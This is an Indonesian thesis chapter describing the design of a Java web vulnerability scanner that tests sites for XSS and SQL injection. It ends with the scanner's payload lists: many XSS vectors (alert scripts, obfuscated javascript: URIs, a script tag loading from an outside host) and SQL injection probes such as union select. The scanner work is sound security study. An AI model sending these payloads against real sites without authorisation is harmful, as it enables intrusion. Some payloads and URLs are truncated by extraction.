BAB III PERANCANGAN DAN PEMBUATAN SISTEM

Transkripsi

1 BAB III PERANCANGAN DAN PEMBUATAN SISTEM 3.1 DESAIN SISTEM Prosedur perancangan sistem secara umum untuk pembangunan Aplikasi Web Vulnearbility Scanner terhadap kelemahan XSS dan SQL Injection menggunakan Java ini terdiri atas beberapa tahap, antara lain meliputi perancangan : 1. Data Perancangan data yang dimaksudkan adalah perancangan datadata yang berkaitan dengan pembuatan perangkat lunak, meliputi : Data input Termasuk di dalamnya data-data penunjang sebagai inputan pembuatan sistem. Data output Dari data input di atas, sistem akan menggunakannya hingga didapatkan kesimpulan sebagai output sistem. 2. Proses Perancangan proses yang dimaksudkan adalah bagaimana sistem akan bekerja, proses-proses yang digunakan, mulai dari masuknya data input yang kemudian diproses oleh sistem hingga menjadi data output. 3. Antarmuka Perancangan antarmuka mengandung penjelasan tentang desain dan implementasi sistem yang digunakan dalam sistem yang kita dibuat. 13

2 Secara keseluruhan perancangan sistem atau desain sistem yang akan dibangun : Gambar 3. 1 Perancangan Sistem secara global Dari gambar 3.1 dapat diketahui : 1. Aplikasi yang dibangun melakukan request ke server berupa URL yang diinputkan 2. Server memberikan respon berupa HTML 3. Aplikasi WVS menscan respon HTML tersebut, kemudian mendapatkan struktur URL dari hasil scan dan menginjeksi struktur URL tersebut dengan script SQL dan script clientside yang diambil dari Datatext 4. Aplikasi WVS mengirim request ke server berupa struktur hasil scan yang telah di injeksi 5. Server mengirim respon hasil injeksi ke aplikasi WVS 6. Aplikasi WVS memberikan report hasil keseluruhan 14

3 3.2 PERANCANGAN SISTEM Perancangan sistem ini terdiri atas 2 basis yang akan diuraikan pada sub bab di bawah ini : Web Vulnerability Scanner Berbasis Online Pada Web Vulnerability Scanner berbasis online ini berjalan dengan menggunakan koneksi internet. Begitu juga dengan web yang akan di scan adalah web yang berada di internet. Input dari web vulnerability scanner berbasis online ini adalah berupa URL dari web yang akan di scan Web Vulnerability Scanner Berbasis Offline Web Vulnerability Scanner berbasis offline ini berjalan secara offline atau tanpa terkoneksi pada internet. Web yang akan di scan oleh web vulnerability scanner berbasis offline ini adalah web yang berada pada computer local yang dijalankan dengan menggunakan aplikasi webserver. Dan terdapat 2 input untuk web vulnerability scanner berbasis offline ini yang pertama adalah berupa file.zip yang berisi file-file dari web yang akan di scan oleh web vulnerability scanner berbasis offline ini. Dan input yang kedua adalah berupa file.sql yang akan di import ke dalam database yang berfungsi sebagai database dari file.zip diatas. 3.3 PERANCANGAN DATA Dalam perancangan data, akan dijelaskan mengenai data-data yang terdapat dalam sistem sesuai dengan fungsinya sebagai data input sistem. 15

4 3.3.1 DATA INPUT WVS BERBASIS ONLINE Untuk menjalankan web vulnerability scanner berbasis online ini menggunakan input berupa : URL Pada aplikasi ini dibutuhkan input URL yang digunakan untuk mengakses suatu web. URL tersebut kemudian digunakan untuk melakukan request kepada server sehingga server tersebut memberikan respon berupa HTML kepada client. Dan respon berupa HTML tersebut itulah yang akan di scan. Contoh suatu URL : DATA INPUT WVS BERBASIS OFFLINE Untuk menjalankan web vulnerability scanner berbasis offline ini diperlukan input berupa : File ZIP Pada aplikasi web vulnerability scanner offline ini File.ZIP digunakan pada Web Vulnerability Scanner yang berbasis Offline, dimana user memasukkan file.zip yang berisi file-file dari web yang akan di scan. Kemudian file.zip tersebut akan di-ekstract oleh aplikasi ini menuju folder htdocs/bitwvs yang berada pada subdirectory dari aplikasi webserver. Sehingga file-file yang telah diekstrak dari dalam file.zip tersebut dapat dijalankan pada browser dengan bantuan webserver. Yang kemudian akan di scan oleh aplikasi ini File SQL Selain input file.zip diatas. File.SQL disini digunakan pada Web Vulnerability Scanner berbasis offline sebagai database dari file-file yang telah diekstrak dari file.zip diatas, dimana user memasukkan file.sql tersebut pada aplikasi yang dibangun ini, yang kemudian file.sql tersebut akan di-import menuju MySQL DBMS oleh aplikasi web vulnerability scanner berbasis offline ini untuk membangun suatu 16

5 database yang mana berhubungan dan digunakan oleh file-file web yang telah di ekstrak ke folder htdocs/bitwvs diatas. 3.4 PERANCANGAN PROSES Perancangan proses pada bagian ini akan menjelaskan tentang bagaimana sebuah input dari user akan diproses menjadi sebuah output yang diharapkan. 17

6 3.4.1 Proses Scanning Pada perancangan sistem aplikasi ini, disediakan form untuk sscanning yang berfungsi untuk men-scan suatu web untuk mendeteksi terhadap kelemahan XSS maupun kelemahan SQL Injection. Berikut diagram alur dari proses Scan XSS dan Scan SQL Injection : Gambar 3. 2 Diagram Alur Scan XSS 18

7 Gambar 3. 3 Diagram Alur Scan SQL Injection 19

8 3.5 PERANCANGAN ANTARMUKA Blok Arsitektur Sistem WVS Online Untuk perancangan antar muka aplikasi WVS berbasis Online, di bawah ini akan ditunjukkan blok arsitektur sistem dari web vulnerability scanner berbasis online yang digunakan pada proyek akhir ini : Gambar 3. 4 Blok Arsitektur Sistem WVS berbasis online Dari Gambar 3.4 dapat diketahui : 1. Aplikasi yang dibangun melakukan request ke server berupa URL yang diinputkan 2. Server memberikan respon berupa HTML 3. Aplikasi WVS menscan respon HTML tersebut, kemudian mendapatkan struktur URL dari hasil scan dan menginjeksi parameter dari struktur URL tersebut dengan script SQL dan script clientside yang diambil dari Datatext 20

9 4. Aplikasi WVS mengirim request ke server berupa struktur URL hasil scan yang telah di injeksi 5. Server mengirim respon hasil injeksi ke aplikasi WVS 6. Aplikasi WVS memberikan report hasil keseluruhan Blok Arsitektur sistem WVS berbasis Offline Untuk perancangan antar muka aplikasi WVS berbasis Offline, di bawah ini akan ditunjukkan blok arsitektur sistem dari web vulnerability scanner berbasis online yang digunakan pada proyek akhir ini : Gambar 3. 5 Blok Arsitektur Sistem WVS berbasis offline Penjelasan dari Gambar 3.5 adalah : 1. Aplikasi yang dibangun mengambil input berupa file.sql dan file.zip yang berisi file-file web yang akan di scan 2. File.ZIP dan file.sql tersebut dikirim ke Aplikasi WVS. Kemudian aplikasi WVS akan mengekstrak file.zip tersebut kedalam folder htdocs/bitwvs yang berada didalam directory 21

10 webserver supaya file-file didalamnya dapat dijalankan. Dan aplikasi WVS akan mengimport file.sql menuju database server, supaya file-file yang telah diekstrak dapat dijalankan sesuai database yang diimport. Kemudian aplikasi WVS akan menscan file.php yang telah di inputkan dengan melalui 3. Dalam proses scan aplikasi WVS menginjeksikan script yang diambil dari datatext. 4. Setelah itu Aplikasi WVS memberikan report 3.6 IMPLEMENTASI SISTEM Dari desain sistem yang telah dibuat sebelumnya, maka dapat di implementasikan seperti beberapa contoh tampilan berikut : Gambar 3. 6 Tampilan Menu Utama 22

11 Gambar 3. 7 Halaman WVS Scan XSS 23

12 Berikut adalah potongan script dari Proses Scan XSS Online : Gambar 3. 8 Potongan Script Scan XSS 24

13 Gambar 3. 9 Tampilan Laporan Scan XSS Gambar Halaman WVS SQL Injection 25

14 Berikut adalah potongan script dari proses Scan SQL Injection : Gambar Script proses Scan SQL Injection 26

15 Gambar Tampilan Laporan Scan SQL Injection Gambar Halaman WVS berbasis Offline 27

16 Berikut adalah potongan script dari proses import file.sql : Gambar Potongan script proses import file.sql Berikut adalah potongan script dari proses ekstrak file.zip : Gambar Potongan script proses ekstrak file.zip 28

17 Gambar Report Last Scan 29

18 Berikut adalah potongan script dari proses menampilkan Last Scan Report : Gambar potongan script last scan report 30

19 Gambar Proses Update selesai Berikut adalah potongan script dari proses Update : Gambar Potongan Script Proses Update Gambar Form untuk Setting Proxy 31

20 Gambar Fitur Help 32

21 Berikut adalah isi dari datatext script client side yang di injeksikan saat proses Scanning XSS : <H1>XSSEDbyYourself</H1> <H1>XSSED by YourSelf</H1> <SCRIPT SRC= <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert("XSS")> <IMG SRC=`javascript:alert("Choky says, 'XSS'")`> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=javascrip&#11 6;:alert(&#39;XS&#8 3;&#39;)> <IMG SRC="jav ascript:alert('xss');"> <IMG SRC="jav ascript:alert('xss');"> <IMG SRC="jav ascript:alert('xss');"> <IMG SRC="jav ascript:alert('xss');"> <IMG SRC=" &#14; javascript:alert('xss');"> <SCRIPT/XSS SRC=" <BODY onload!#$%&()%%~+-_.,:;?@[/ \]^`=alert("xss")> <SCRIPT/SRC=" <<SCRIPT>alert("XSS");//<</SCRIPT> <SCRIPT SRC= <SCRIPT SRC=//spyrozone.net/.j> <IMG SRC="javascript:alert('XSS')" </TITLE><SCRIPT>alert("XSS");</SCRIPT> <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <BGSOUND SRC="javascript:alert('XSS');"> <BR SIZE="&{alert('XSS')}"> <LAYER SRC=" <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME>%% 33

22 Dan berikut adalah isi dari datatext script client side yang di injeksikan saat prose Scanning SQL Injection : ' -1-1 order by 1 -- ; 1 order by 3 1 order by 4 1 order by 5-1 union all select 1,2,3-1 union all select 1-1 union all select 1,2-1 union all select 1,2,3-1 union select 1,2,3,4-1 union select 1,2,3,4,5 34